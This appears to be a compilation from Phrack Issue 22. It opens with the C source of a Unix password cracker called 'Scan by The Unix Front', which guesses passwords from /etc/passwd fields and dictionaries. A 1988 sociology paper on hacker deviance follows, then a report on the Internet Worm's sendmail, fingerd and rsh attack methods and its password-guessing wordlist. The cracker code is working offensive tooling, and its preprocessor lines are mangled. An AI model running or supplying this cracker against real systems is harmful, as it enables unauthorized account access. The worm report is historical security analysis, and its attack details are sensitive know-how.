I run this on several systems nightly, to protect myself! Scanning for user passwords that are easy to hack, and for other insecure conditions ensures that my own systems will not be breached. Unix is still not a secure system, and restoring gigabyte file systems is no fun.

I have made the software as portable as possible. It is known to compile on all BSD variants, and System V. I don't suggest that you leave the source laying around on just any system, most System Administrators are known to be particularly nosy <smile>. If you do, for God's sake crypt the damned file.

These are hard times we have fallen into. The thrill of the telephone network is no more. Mere experimentation is riskier than ever. There is little left, but intellectual challenges in mastering system software and writing interesting software for most of us. As we all get older, the risks have grown less attractive versus the few gains. Someday when I am able to transfer five or six million into my account in Zurich, I may chance it. Until then, may I take the time to wish you all good luck in your endeavors, and be careful!

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

/* Beginning of Program */

include <sys/stdio.h>

include <sys/ctype.h>

include <sys/signal.h>

define TRUE 1

define FALSE 0

int trace = FALSE;

char *dict = NULL;

char *word = NULL;

char *pwdfile = NULL;

char *startid = NULL;

FILE *pwdf;

FILE *dictf;

FILE *logf;

char nextword[64];

char preread = FALSE;

char pbuf[256];

char id[64];

char pw[64];

char goodpw[64];

main(argc,argv)

int argc;

char **argv;

{

char *passwd;

char *salt;

char *s;

char *crypt();

char xpw[64];

char pw2[64];

char dummy[64];

char comments[64];

char shell[64];

char dictword[64];

char gotit;

char important;

extern int optind;

extern char *optarg;

int option;

int cleanup();

int tried;

long time();

signal(SIGTERM,cleanup);

signal(SIGQUIT,cleanup);

signal(SIGHUP,cleanup);

while ((option = getopt(argc,argv, "d:i:p:tw:")) != EOF) switch(option) {

case 'd':

dict = optarg;

break;

case 'i':

startid = optarg;

break;

case 'p':

pwdfile = optarg;

break;

case 't':

++trace;

break;

case 'w':

word = optarg;

break;

default:

help();

}

if (optind < argc)

help();

if (!pwdfile)

pwdfile = "/etc/passwd";

openpw();

if (dict)

opendict();

while(TRUE) {

if (preread)

preread = FALSE;

else

if (!fgets(pbuf,sizeof(pbuf),pwdf)) break;

parse(id,pbuf,':');

parse(xpw,pbuf,':');

parse(pw,xpw,',');

if (*pw && strlen(pw) != 13)

continue;

parse(dummy,pbuf,':');

important = (atoi(dummy) < 5); parse(dummy,pbuf,':');

parse(comments,pbuf,':');

gotit = !*pw;

if (!gotit && *comments) {

strcpy(pw2,pw);

do {

sparse(pw2,comments); if (!*pw2) continue; if (allnum(pw2)) continue; gotit = works(pw2); if (!gotit)

if (hasuc(pw2)) {

lcase(pw2);

gotit = works(pw2);

}

} while (!gotit && *comments);

if (!gotit)

gotit = works(id);

}

if (!gotit && dict) {

resetdict();

tried = 0;

do {

if (works(nextword)) {

gotit = TRUE;

break;

}

if (++tried == 100) {

printf(" <%8s> @

%ld\n",nextword,time(NULL));

fflush(stdout);

tried = 0;

}

} while(readdict());

}

if (gotit) {

if (*pw)

printf("** %8s \t‑ Password is %s\n",id,goodpw); else { parse(shell,pbuf,':'); parse(shell,pbuf,':'); shell[strlen(shell)‑1] = 0; printf(" %8s \t‑ Open Login (Shell=%s)\n",id,shell); }

if (important)

printf("‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Loo

k!\n");

}

else printf(" %8s \t‑ Failed\n",id);

}

cleanup();

exit(0);

}

help()

{

fprintf(stderr,"Scan by The Unix Front\n");

fprintf(stderr,"usage: scan [‑ddict] [‑iid] [‑ppfile] [‑t] [‑wword]\n"); exit(1);

}

cleanup()

{

if (logf)

fclose(logf);

}

openpw()

{

char dummy[256];

char id[256];

if (!(pwdf = fopen(pwdfile,"r"))) {

fprintf("Error opening specified password file: %s\n",pwdfile); exit(2);

}

if (startid) {

while(TRUE) {

if (!(fgets(pbuf,sizeof(pbuf),pwdf))) { fprintf(stderr,"Can't skip to id '%s'\n",startid); exit(3);

}

strcpy(dummy,pbuf); parse(id,dummy,':');

if (!strcmp(id,startid)) { preread = TRUE; return;

}

}

}

}

/* Where's the dictionary file dummy! */

opendict()

{

if (!(dictf = fopen(dict,"r"))) {

fprintf("Error opening specified dictionary: %s\n",dict); exit(4);

}

}

resetdict()

{

char *p;

rewind(dictf);

if (word) {

while(TRUE) {

if (!(fgets(nextword,sizeof(nextword),dictf))) { fprintf(stderr,"Can't start with specified word '%s'\n",

word);

exit(3);

}

if (*nextword) {

p = nextword + strlen(nextword); *‑‑p = 0;

}

if (!strcmp(word,nextword)) return;

}

}

else if (!(fgets(nextword,sizeof(nextword),dictf))) fprintf(stderr,"Empty word file: %s\n",dict); else if (*nextword) {

p = nextword + strlen(nextword); *‑‑p = 0;

}

}

readdict()

{

int sts;

char *p;

sts = fgets(nextword,sizeof(nextword),dictf);

if (*nextword) {

p = nextword + strlen(nextword);

*‑‑p = 0;

}

return sts;

}

works(pwd)

char *pwd;

{

char *s;

if (trace)

printf(">> %8s \t‑ trying %s\n",id,pwd);

s = crypt(pwd,pw);

if (strcmp(s,pw))

return FALSE;

strcpy(goodpw,pwd);

return TRUE;

}

parse(s1,s2,t1)

register char *s1;

register char *s2;

char t1;

{

char *t2;

t2 = s2;

while (*s2) {

if (*s2 == t1) {

s2++;

break;

}

*s1++ = *s2++;

}

*s1 = 0;

while (*t2++ = *s2++);

}

sparse(s1,s2)

register char *s1;

register char *s2;

{

char *t2;

t2 = s2;

while (*s2) {

if (index(" ()[]‑/.",*s2)) {

s2++;

break;

}

*s1++ = *s2++;

}

*s1 = 0;

while (*t2++ = *s2++);

}

hasuc(s)

register char *s;

{

while (*s)

if (isupper(*s++)) return TRUE;

return FALSE;

}

allnum(s)

register char *s;

{

while(*s)

if (!isdigit(*s++)) return FALSE;

return TRUE;

}

lcase(s)

register char *s;

{

while(*s) {

if (isupper(*s))

*s = tolower(*s);

++s;

}

}

ifdef HACKED

define void int

static char IP[] = {

58,50,42,34,26,18,10, 2,

60,52,44,36,28,20,12, 4,

62,54,46,38,30,22,14, 6,

64,56,48,40,32,24,16, 8,

57,49,41,33,25,17, 9, 1,

59,51,43,35,27,19,11, 3,

61,53,45,37,29,21,13, 5,

63,55,47,39,31,23,15, 7,

};

static char FP[] = {

40, 8,48,16,56,24,64,32,

39, 7,47,15,55,23,63,31,

38, 6,46,14,54,22,62,30,

37, 5,45,13,53,21,61,29,

36, 4,44,12,52,20,60,28,

35, 3,43,11,51,19,59,27,

34, 2,42,10,50,18,58,26,

33, 1,41, 9,49,17,57,25,

};

static char PC1_C[] = {

57,49,41,33,25,17, 9,

1,58,50,42,34,26,18,

10, 2,59,51,43,35,27,

19,11, 3,60,52,44,36,

};

static char PC1_D[] = {

63,55,47,39,31,23,15,

7,62,54,46,38,30,22,

14, 6,61,53,45,37,29,

21,13, 5,28,20,12, 4,

};

static char shifts[] = { 1,1,2,2,2,2,2,2,1,2,2,2,2,2,2,1, };

static char PC2_C[] = {

14,17,11,24, 1, 5,

3,28,15, 6,21,10,

23,19,12, 4,26, 8,

16, 7,27,20,13, 2,

};

static char PC2_D[] = {

41,52,31,37,47,55,

30,40,51,45,33,48,

44,49,39,56,34,53,

46,42,50,36,29,32,

};

static char C[28];

static char D[28];

static char KS[16][48];

static char E[48];

static char e2[] = {

32, 1, 2, 3, 4, 5,

4, 5, 6, 7, 8, 9,

8, 9,10,11,12,13,

12,13,14,15,16,17,

16,17,18,19,20,21,

20,21,22,23,24,25,

24,25,26,27,28,29,

28,29,30,31,32, 1,

};

void

setkey(key)

char *key;

{

register int i, j, k;

int t;

for(i=0; i < 28; i++) {

C[i] = key[PC1_C[i]‑1];

D[i] = key[PC1_D[i]‑1];

}

for(i=0; i < 16; i++) {

for(k=0; k < shifts[i]; k++) { t = C[0];

for(j=0; j < 28‑1; j++)

C[j] = C[j+1];

C[27] = t;

t = D[0];

for(j=0; j < 28‑1; j++)

D[j] = D[j+1];

D[27] = t;

}

for(j=0; j < 24; j++) { KS[i][j] = C[PC2_C[j]‑1]; KS[i][j+24] = D[PC2_D[j]‑28‑1]; }

}

for(i=0; i < 48; i++)

E[i] = e2[i];

}

static char S[8][64] = {

14, 4,13, 1, 2,15,11, 8, 3,10, 6,12, 5, 9, 0, 7, 0,15, 7, 4,14, 2,13, 1,10, 6,12,11, 9, 5, 3, 8, 4, 1,14, 8,13, 6, 2,11,15,12, 9, 7, 3,10, 5, 0, 15,12, 8, 2, 4, 9, 1, 7, 5,11, 3,14,10, 0, 6,13,

15, 1, 8,14, 6,11, 3, 4, 9, 7, 2,13,12, 0, 5,10, 3,13, 4, 7,15, 2, 8,14,12, 0, 1,10, 6, 9,11, 5, 0,14, 7,11,10, 4,13, 1, 5, 8,12, 6, 9, 3, 2,15, 13, 8,10, 1, 3,15, 4, 2,11, 6, 7,12, 0, 5,14, 9,

10, 0, 9,14, 6, 3,15, 5, 1,13,12, 7,11, 4, 2, 8, 13, 7, 0, 9, 3, 4, 6,10, 2, 8, 5,14,12,11,15, 1, 13, 6, 4, 9, 8,15, 3, 0,11, 1, 2,12, 5,10,14, 7, 1,10,13, 0, 6, 9, 8, 7, 4,15,14, 3,11, 5, 2,12,

7,13,14, 3, 0, 6, 9,10, 1, 2, 8, 5,11,12, 4,15, 13, 8,11, 5, 6,15, 0, 3, 4, 7, 2,12, 1,10,14, 9, 10, 6, 9, 0,12,11, 7,13,15, 1, 3,14, 5, 2, 8, 4, 3,15, 0, 6,10, 1,13, 8, 9, 4, 5,11,12, 7, 2,14,

2,12, 4, 1, 7,10,11, 6, 8, 5, 3,15,13, 0,14, 9, 14,11, 2,12, 4, 7,13, 1, 5, 0,15,10, 3, 9, 8, 6, 4, 2, 1,11,10,13, 7, 8,15, 9,12, 5, 6, 3, 0,14, 11, 8,12, 7, 1,14, 2,13, 6,15, 0, 9,10, 4, 5, 3,

12, 1,10,15, 9, 2, 6, 8, 0,13, 3, 4,14, 7, 5,11, 10,15, 4, 2, 7,12, 9, 5, 6, 1,13,14, 0,11, 3, 8, 9,14,15, 5, 2, 8,12, 3, 7, 0, 4,10, 1,13,11, 6, 4, 3, 2,12, 9, 5,15,10,11,14, 1, 7, 6, 0, 8,13,

4,11, 2,14,15, 0, 8,13, 3,12, 9, 7, 5,10, 6, 1, 13, 0,11, 7, 4, 9, 1,10,14, 3, 5,12, 2,15, 8, 6, 1, 4,11,13,12, 3, 7,14,10,15, 6, 8, 0, 5, 9, 2, 6,11,13, 8, 1, 4,10, 7, 9, 5, 0,15,14, 2, 3,12,

13, 2, 8, 4, 6,15,11, 1,10, 9, 3,14, 5, 0,12, 7, 1,15,13, 8,10, 3, 7, 4,12, 5, 6,11, 0,14, 9, 2, 7,11, 4, 1, 9,12,14, 2, 0, 6,10,13,15, 3, 5, 8, 2, 1,14, 7, 4,10, 8,13,15,12, 9, 0, 3, 5, 6,11,

};

static char P[] = {

16, 7,20,21,

29,12,28,17,

1,15,23,26,

5,18,31,10,

2, 8,24,14,

32,27, 3, 9,

19,13,30, 6,

22,11, 4,25,

};

static char L[32], R[32];

static char tempL[32];

static char f[32];

static char preS[48];

void

encrypt(block, edflag)

char *block;

int edflag;

{

int i, ii;

register int t, j, k;

for(j=0; j < 64; j++)

L[j] = block[IP[j]‑1];

for(ii=0; ii < 16; ii++) {

if(edflag)

i = 15‑ii;

else

i = ii;

for(j=0; j < 32; j++) tempL[j] = R[j];

for(j=0; j < 48; j++) preS[j] = R[E[j]‑1] ^ KS[i][j];

for(j=0; j < 8; j++) {

t = 6*j;

k = S[j][(preS[t+0]<<5)+

(preS[t+1]<<3)+

(preS[t+2]<<2)+

(preS[t+3]<<1)+

(preS[t+4]<<0)+

(preS[t+5]<<4)];

t = 4*j;

f[t+0] = (k>>3)&01; f[t+1] = (k>>2)&01; f[t+2] = (k>>1)&01; f[t+3] = (k>>0)&01;

}

for(j=0; j < 32; j++)

R[j] = L[j] ^ f[P[j]‑1];

for(j=0; j < 32; j++)

L[j] = tempL[j];

}

for(j=0; j < 32; j++) {

t = L[j];

L[j] = R[j];

R[j] = t;

}

for(j=0; j < 64; j++)

block[j] = L[FP[j]‑1];

}

char *

crypt(pw, salt)

char *pw, *salt;

{

register int i, j, c;

int temp;

static char block[66], iobuf[16];

for(i=0; i < 66; i++)

block[i] = 0;

for(i=0; (c= *pw) && i < 64; pw++) { for(j=0; j < 7; j++, i++) block[i] = (c>>(6‑j)) & 01; i++;

}

setkey(block);

for(i=0; i < 66; i++)

block[i] = 0;

for(i=0; i < 2; i++) {

c = *salt++;

iobuf[i] = c;

if(c > 'Z')

c ‑= 6;

if(c > '9')

c ‑= 7;

c ‑= '.';

for(j=0; j < 6; j++) { if((c>>j) & 01) {

temp = E[6*i+j];

E[6*i+j] = E[6*i+j+24];

E[6*i+j+24] = temp;

}

}

}

for(i=0; i < 25; i++)

encrypt(block, 0);

for(i=0; i < 11; i++) {

c = 0;

for(j=0; j < 6; j++) {

c <<= 1;

c |= block[6*i+j];

}

c += '.';

if(c > '9')

c += 7;

if(c > 'Z')

c += 6;

iobuf[i+2] = c;

}

iobuf[i+2] = 0;

if(iobuf[1] == 0)

iobuf[1] = iobuf[0];

return(iobuf);

}

endif

/* end of program */

Computer Hackers Follow A Guttman-Like Progression

==Phrack Inc.==

Volume Two, Issue 22, File 7 of 12

[][][][][][][][][][][][][][][

[]

[] Computer Hackers Follow A Guttman‑Like Progression []

[]

[] by Richard C. Hollinger [] [] University Of Florida []

[]

[] April, 1988 []

[]

[][][][][][][][][][][][][][][

Little is known about computer "hackers," those who invade the privacy of somone else's computer. This pretest gives us reason to believe that their illegal activities follow a Guttman‑like involvement in deviance.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Computer crime has gained increasing attention, from news media to the legislature. The nation's first computer crime statute passed unanimously in the Florida Legislature during 1978 in response to a widely publicized incident at the Flagler Dog Track near Miami where employees used a computer to print bogus winning trifecta tickets (Miami Herald, 1977a and 1977b; Underwood, 1979). Forty‑seven states and the federal government have enacted some criminal statue prohibiting unauthorized computer access, both malicious and non‑malicious (BloomBecker, 1986; Scott, 1984; U.S. Public Law 98‑4733, 1984; U.S. Public Law 99‑474, 1986). Although some computer deviance might already have been illegal under fraud or other statutes, such rapid criminalization of this form of deviant behavior is itself an interesting social phenomenon.

Parker documented thousands of computer‑related incidents (1976; 1979; 1980a; 1980b; and 1983), arguing that most documented cases of computer abuse were discovered by accident. He believed that these incidents represent the tip of the iceberg. Others counter that many of these so‑called computer crimes are apocryphal or not uniquely perpetrated by computer (Taber, 1980; Time, 1986).

Parker's work (1976; 1983) suggests that computer offenders are typically males in the mid‑twenties and thirties, acting illegally in their jobs, but others may be high school and college students (New York Times, 1984b; see related points in Hafner, 1983; Shea, 1984; New York Times, 1984a).

Levy (1984) and Landreth (1985) both note that some computer aficionados have developed a "hacker ethic" allowing harmless computer exploration, including free access to files belonging to other users, bypassing passwords and security systems, outwitting bureaucrats preventing access, and opposing private software and copy protection schemes.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

This research on computer hackers is based on a small number of semi‑structured two‑hour interviews covering many topics, including ties to other users, computer ethics, knowledge of computer crime statutes, and self‑reports of using computers in an illegal fashion.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Such acts include these ten:

1. Acquiring another user's password.

2. Unauthorized use of someone else's computer account.

3. Unauthorized "browsing" among other user's computer files.

4. Unauthorized "copying" of another user's computer files.

5. Unauthorized file modification.

6. Deliberate sabotage of another user's programs.

7. Deliberately "crashing" a computer system.

8. Deliberate damage or theft of computer hardware.

9. Making an unauthorized or "pirated" copy of proprietary computer software for another user.

10. Receiving an unauthorized or "pirated" copy of proprietary computer software from another user.

In 1985, a group of five students took unauthorized control of the account management system on one of the University of Florida's Digital VAX computers. They were able to allocate new accounts to each other and their friends. In addition, they browsed through other users' accounts, files and programs, and most importantly, they modified or damaged a couple of files and programs on the system. All first‑time offenders, three of the five performed "community service" in consenting to being interviewed for this paper. Eight additional interviews were conducted with students selected randomly from an computer science "assembler" (advanced machine language) class. These students are required to have a working knowledge of both mainframe systems and micro computers, in addition to literacy in at least two other computer languages.

The State Attorney's decision not to prosecute these non‑malicious offenders under Florida's Computer Crime Act (Chapter 815) may reflect a more general trend. From research on the use (actually non‑use) of computer crime statutes nationally, both BloomBecker (1986) and Pfuhl (1987) report that given the lack of a previous criminal record and the generally "prankish" nature of the vast majority of these "crimes," very few offenders are being prosecuted with these new laws.

The three known offenders differed little from four of the eight computer science students in their level of self‑reported computer deviance. The interviews suggest that computer deviance follows a Guttman‑like progression of involvement. Four of the eight computer science respondents (including all three females) reported no significant deviant activity using the computer. They indicated no unauthorized browsing or file modification and only isolated trading of "pirated" proprietary software. When asked, none of these respondents considered themselves "hackers." However, two of the eight computer science students admitted to being very active in unauthorized use.

Respondents who admitted to violations seem to fit into three categories. PIRATES reported mainly copyright infringements, such as giving or receiving illegally copied versions of popular software programs. In fact, pirating software was the most common form of computer deviance discovered, with slightly over half of the respondents indicating some level of involvement. In addition to software piracy, BROWSERS gained occasional unauthorized access to another user's university computer account and browsed the private files of others. However, they did not damage or copy these files. CRACKERS were most serious abusers. These five individuals admitted many separate instances of the other two types of computer deviance, but went beyond that. They reported copying, modifying, and sabotaging other user's computer files and programs. These respondents also reported "crashing" entire computer systems or trying to do so.

Whether for normative or technical reaspons, at least in this small sample, involvement in computer crime seems to follow a Guttman‑like progression.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

REFERENCES

BloomBecker, Jay. 1986. Computer Crime Law Reporter: 1986 Update. Los Angeles: National Center for Computer Crime Data.

Florida, State of. 1978. Florida Computer Crimes Act Chapter 815.01‑815.08. Hafner, Katherine. 1983. "UCLA student penetrates DOD Network," InfoWorld 5(47): 28.

Landreth, Bill. 1985. Out of the Inner Circle: A Hacker's Guide to Computer Security. Bellevue, Washington: Microsoft Press.

Levy, Steven. 1984. Hackers: Heroes of the Computer Revolution. New York: Doubleday.

Miami Herald. 1977a‑. "Dog players bilked via computer," (September 20):1,16.

‑‑1977b "Why Flagler Dog Track was easy pickings," (September 21): 1,17. Newsweek. 1983a. "Beware: Hackers at play," (September 5): 42‑46,48. ‑‑1983b. "Preventing 'WarGames'," (September 5): 48.

New York Times. 1984a. "Low Tech" (January 5): 26.

‑‑1984b. "Two who raided computers pleading guilty," (March 17): 6. Parker, Donn B. 1976. Crime By Computer. New York: Charles Scribner's Sons. ‑‑1979. Computer Crime: Criminal Justice Resource Manual. Washington, D.C.: U.S. Government Printing Office.

‑‑1980a. "Computer abuse research update," Computer/Law Journal 2: 329‑52. ‑‑1980b. "Computer‑related white collar crime," In Gilbert Geis and Ezra Stotland (eds.), White Collar Crime: Theory and Research. Beverly Hills, CA.: Sage, pp. 199‑220.

‑‑1983. Fighting Computer Crime. New York: Charles Scribner's Sons. Pful, Erdwin H. 1987. "Computer abuse: problems of instrumental control. Deviant Behavior 8: 113‑130.

Scott, Michael D. 1984. Computer Law. New York: John Wiley and Sons. Shea, Tom. 1984. "The FBI goes after hackers," Infoworld 6 (13): 38,39,41,43,44.

Taber, John K. 1980. "A survey of computer crime studies," Computer/Law Journal 2: 275‑327.

Time. 1983a. "Playing games," (August 22): 14.

‑‑1983b. "The 414 gang strikes again," (August 29): 75.

‑‑1986. "Surveying the data diddlers," (February 17): 95. Underwood, John. 1979. "Win, place... and sting," Sports Illustrated 51 (July 23): 54‑81+.

U.S. Public Law 98‑473. 1984. Counterfeit Access Device and Computer Fraud and Abuse Act of 1984. Amendment to Chapter 47 of Title 18 of the United States Code, (October 12).

U.S. Public Law 99‑474. 1986. Computer Fraud and Abuse Act of 1986. Amendment to Chapter 47 of Title 18 of the United States Code, (October 16).

A Report On The InterNet Worm

==Phrack Inc.==

Volume Two, Issue 22, File 8 of 12

"]}`"`\`\`\`\`\`\`\`\`\`\`\`

\`\`\

\`\ A Report On The InterNet Worm \`\

\`\

\`\ By Bob Page \`\

\`\

\`\ University of Lowell \`\ \`\ Computer Science Department \`\

\`\

\`\ November 7, 1988 \`\

\`\`\

\`\`\`\`\`\`\`\`\`\`\`\`\`\`

Here's the truth about the "Internet Worm." Actually it's not a virus a virus is a piece of code that adds itself to other programs, including operating systems. It cannot run independently, but rather requires that its "host" program be run to activate it. As such, it has a clear analog to biologic viruses ‑‑ those viruses are not considered live, but they invade host cells and take them over, making them produce new viruses.

A worm is a program that can run by itself and can propagate a fully working version of itself to other machines. As such, what was loosed on the Internet was clearly a worm.

This data was collected through an emergency mailing list set up by Gene Spafford at Purdue University, for administrators of major Internet sites some of the text is included verbatim from that list.

The basic object of the worm is to get a shell on another machine so it can reproduce further. There are three ways it attacks: sendmail, fingerd, and rsh/rexec.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

The Sendmail Attack:

In the sendmail attack, the worm opens a TCP connection to another machine's sendmail (the SMTP port), invokes debug mode, and sends a RCPT TO that requests its data be piped through a shell. That data, a shell script (first‑stage bootstrap) creates a temporary second‑stage bootstrap file called x$$,l1.c (where '$$' is the current process ID). This is a small (40‑line) C program.

The first‑stage bootstrap compiles this program with the local cc and executes it with arguments giving the Internet hostid/socket/password of where it just came from. The second‑stage bootstrap (the compiled C program) sucks over two object files, x$$,vax.o and x$$,sun3.o from the attacking host. It has an array for 20 file names (presumably for 20 different machines), but only two (vax and sun) were compiled in to this code. It then figures out whether it's running under BSD or SunOS and links the appropriate file against the C library to produce an executable program called /usr/tmp/sh ‑ so it looks like the Bourne shell to anyone who looked there.

The Fingerd Attack:

In the fingerd attack, it tries to infiltrate systems via a bug in fingerd, the finger daemon. Apparently this is where most of its success was (not in sendmail, as was originally reported). When fingerd is connected to, it reads its arguments from a pipe, but doesn't limit how much it reads. If it reads more than the internal 512‑byte buffer allowed, it writes past the end of its stack. After the stack is a command to be executed ("/usr/ucb/finger") that actually does the work. On a VAX, the worm knew how much further from the stack it had to clobber to get to this command, which it replaced with the command "/bin/sh" (the bourne shell). So instead of the finger command being executed, a shell was started with no arguments. Since this is run in the context of the finger daemon, stdin and stdout are connected to the network socket, and all the files were sucked over just like the shell that sendmail provided.

The Rsh/Rexec Attack:

The third way it tried to get into systems was via the .rhosts and /etc/hosts.equiv files to determine 'trusted' hosts where it might be able to migrate to. To use the .rhosts feature, it needed to actually get into people's accounts ‑ since the worm was not running as root (it was running as daemon) it had to figure out people's passwords. To do this, it went through the /etc/passwd file, trying to guess passwords. It tried combinations of: the username, the last, first, last+first, nick names (from the GECOS field), and a list of special "popular" passwords:

aaa cornelius guntis noxious simon academia couscous hacker nutrition simple aerobics creation hamlet nyquist singer airplane creosote handily oceanography single albany cretin happening ocelot smile albatross daemon harmony olivetti smiles albert dancer harold olivia smooch

alex daniel harvey oracle smother alexander danny hebrides orca snatch algebra dave heinlein orwell snoopy aliases december hello osiris soap alphabet defoe help outlaw socrates ama deluge herbert oxford sossina amorphous desperate hiawatha pacific sparrows analog develop hibernia painless spit

anchor dieter honey pakistan spring andromache digital horse pam springer animals discovery horus papers squires answer disney hutchins password strangle anthropogenic dog imbroglio patricia stratford anvils drought imperial penguin stuttgart anything duncan include peoria subway

aria eager ingres percolate success ariadne easier inna persimmon summer arrow edges innocuous persona super arthur edinburgh irishman pete superstage athena edwin isis peter support atmosphere edwina japan philip supported aztecs egghead jessica phoenix surfer azure eiderdown jester pierre suzanne bacchus eileen jixian pizza swearer bailey einstein johnny plover symmetry banana elephant joseph plymouth tangerine bananas elizabeth joshua polynomial tape

bandit ellen judith pondering target banks emerald juggle pork tarragon barber engine julia poster taylor baritone engineer kathleen praise telephone bass enterprise kermit precious temptation bassoon enzyme kernel prelude thailand batman ersatz kirkland prince tiger beater establish knight princeton toggle beauty estate ladle protect tomato beethoven euclid lambda protozoa topography beloved evelyn lamination pumpkin tortoise benz extension larkin puneet toyota beowulf fairway larry puppet trails berkeley felicia lazarus rabbit trivial berliner fender lebesgue rachmaninoff trombone beryl fermat lee rainbow tubas beverly fidelity leland raindrop tuttle bicameral finite leroy raleigh umesh

bob fishers lewis random unhappy brenda flakes light rascal unicorn brian float lisa really unknown bridget flower louis rebecca urchin broadway flowers lynne remote utility bumbling foolproof macintosh rick vasant burgess football mack ripple vertigo campanile foresight maggot robotics vicky cantor format magic rochester village cardinal forsythe malcolm rolex virginia carmen fourier mark romano warren carolina fred markus ronald water caroline friend marty rosebud weenie cascades frighten marvin rosemary whatnot castle fun master roses whiting

cat fungible maurice ruben whitney cayuga gabriel mellon rules will celtics gardner merlin ruth william cerulean garfield mets sal williamsburg change gauss michael saxon willie charles george michelle scamper winston charming gertrude mike scheme wisconsin charon ginger minimum scott wizard chester glacier minsky scotty wombat cigar gnu moguls secret woodwind classic golfer moose sensor wormwood clusters gorgeous morley serenity yaco

coffee gorges mozart sharks yang

coke gosling nancy sharon yellowstone collins gouge napoleon sheffield yosemite commrades graham nepenthe sheldon zap computer gryphon ness shiva zimmerman condo guest network shivers

cookie guitar newton shuttle

cooper gumption next signature

When everything else fails, it opens /usr/dict/words and tries every word in the dictionary. It is pretty successful in finding passwords, as most people don't choose them very well. Once it gets into someone's account, it looks for a .rhosts file and does an 'rsh' and/or 'rexec' to another host, it sucks over the necessary files into /usr/tmp and runs /usr/tmp/sh to start all over again.

Between these three methods of attack (sendmail, fingerd, .rhosts) it was able to spread very quickly.

The Worm Itself:

The 'sh' program is the actual worm. When it starts up it clobbers its argv array so a 'ps' will not show its name. It opens all its necessary files, then unlinks (deletes) them so they can't be found (since it has them open, however, it can still access the contents). It then tries to infect as many other hosts as possible ‑ when it sucessfully connects to one host, it forks a child to continue the infection while the parent keeps on trying new hosts.

One of the things it does before it attacks a host is connect to the telnet port and immediately close it. Thus, "telnetd: ttloop: peer died" in /usr/adm/messages means the worm attempted an attack.

The worm's role in life is to reproduce ‑ nothing more. To do that it needs to find other hosts. It does a 'netstat ‑r ‑n' to find local routes to other hosts & networks, looks in /etc/hosts, and uses the yellow pages distributed hosts file if it's available. Any time it finds a host, it tries to infect it through one of the three methods, see above. Once it finds a local network (like 129.63.nn.nn for ulowell) it sequentially tries every address in that range.

If the system crashes or is rebooted, most system boot procedures clear /tmp and /usr/tmp as a matter of course, erasing any evidence. However, sendmail log files show mail coming in from user /dev/null for user /bin/sed, which is a tipoff that the worm entered.

Each time the worm is started, there is a 1/15 chance (it calls random()) that it sends a single byte to ernie.berkeley.edu on some magic port, apparently to act as some kind of monitoring mechanism.

The Crackdown:

Three main 'swat' teams from Berkeley, MIT and Purdue found copies of the VAX code (the .o files had all the symbols intact with somewhat meaningful names) and disassembled it into about 3000 lines of C. The BSD development team poked fun at the code, even going so far to point out bugs in the code and supplying source patches for it! They have not released the actual source code, however, and refuse to do so. That could change ‑ there are a number of people who want to see the code.

Portions of the code appear incomplete, as if the program development was not yet finished. For example, it knows the offset needed to break the BSD fingerd, but doesn't know the correct offset for Sun's fingerd (which causes it to dump core); it also doesn't erase its tracks as cleverly as it might; and so on.

The worm uses a variable called 'pleasequit' but doesn't correctly initialize it, so some folks added a module called _worm.o to the C library, which is produced from: int pleasequit = ‑1; the fact that this value is set to ‑1 will cause it to exit after one iteration.

The close scrutiny of the code also turned up comments on the programmer's style. Verbatim from someone at MIT:

From disassembling the code, it looks like the programmer is really anally retentive about checking return codes, and, in addition, prefers to use array indexing instead of pointers to walk through arrays.

Anyone who looks at the binary will not see any embedded strings ‑ they are XOR'ed with 81 (hex). That's how the shell commands are imbedded. The "obvious" passwords are stored with their high bit set.

Although it spreads very fast, it is somewhat slowed down by the fact that it drives the load average up on the machine ‑ this is due to all the encryptions going on, and the large number of incoming worms from other machines.

[Initially, the fastest defense against the worm is is to create a directory called /usr/tmp/sh. The script that creates /usr/tmp/sh from one of the .o files checks to see if /usr/tmp/sh exists, but not to see if it's a directory. This fix is known as 'the condom'.]

Now What?

Most Internet systems running 4.3BSD or SunOS have installed the necessary patches to close the holes and have rejoined the Internet. As you would expect, there is a renewed interest in system/network security, finding and plugging holes, and speculation over what will happen to the worm's creator.

If you haven't read or watched the news, various log files have named the responsible person as Robert Morris Jr., a 23‑year old doctoral student at Cornell. His father is head of the National Computer Security Center, the NSA's public effort in computer security, and has lectured widely on security aspects of UNIX.

Associates of the student claim the worm was a 'mistake' ‑ that he intended to unleash it but it was not supposed to move so quickly or spread so much. His goal was to have a program 'live' within the Internet. If the reports that he intended it to spread slowly are true, then it's possible that the bytes sent to ernie.berkeley.edu were intended to monitor the spread of the worm. Some news reports mentioned that he panicked when, via some "monitoring mechanism" he saw how fast it had propagated.

A source inside DEC reports that although the worm didn't make much progress there, it was sighted on several machines that wouldn't be on its normal propagation path, i.e. not gateways and not on the same subnet. These machines are not reachable from the outside. Morris was a summer intern at DEC in '87. He might have included names or addresses he remembered as targets for infesting hidden internal networks. Most of the DEC machines in question belong to the group he worked in.

The final word has not been written...

...it will be interesting to see what happens.

Phrack World News Issue XXII Part 1

==Phrack Inc.==

Volume Two, Issue 22, File 9 of 12

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN P h r a c k W o r l d N e w s PWN

PWN ~~~~~~~~~~~ ~~~~~~~~~ ~~~~~~PWN

PWN Issue XXII/Part 1 PWN

PWN PWN

PWN Created by Knight Lightning PWN

PWN PWN

PWN Written and Edited by PWN PWN Knight Lightning and Taran King PWN

PWN PWN

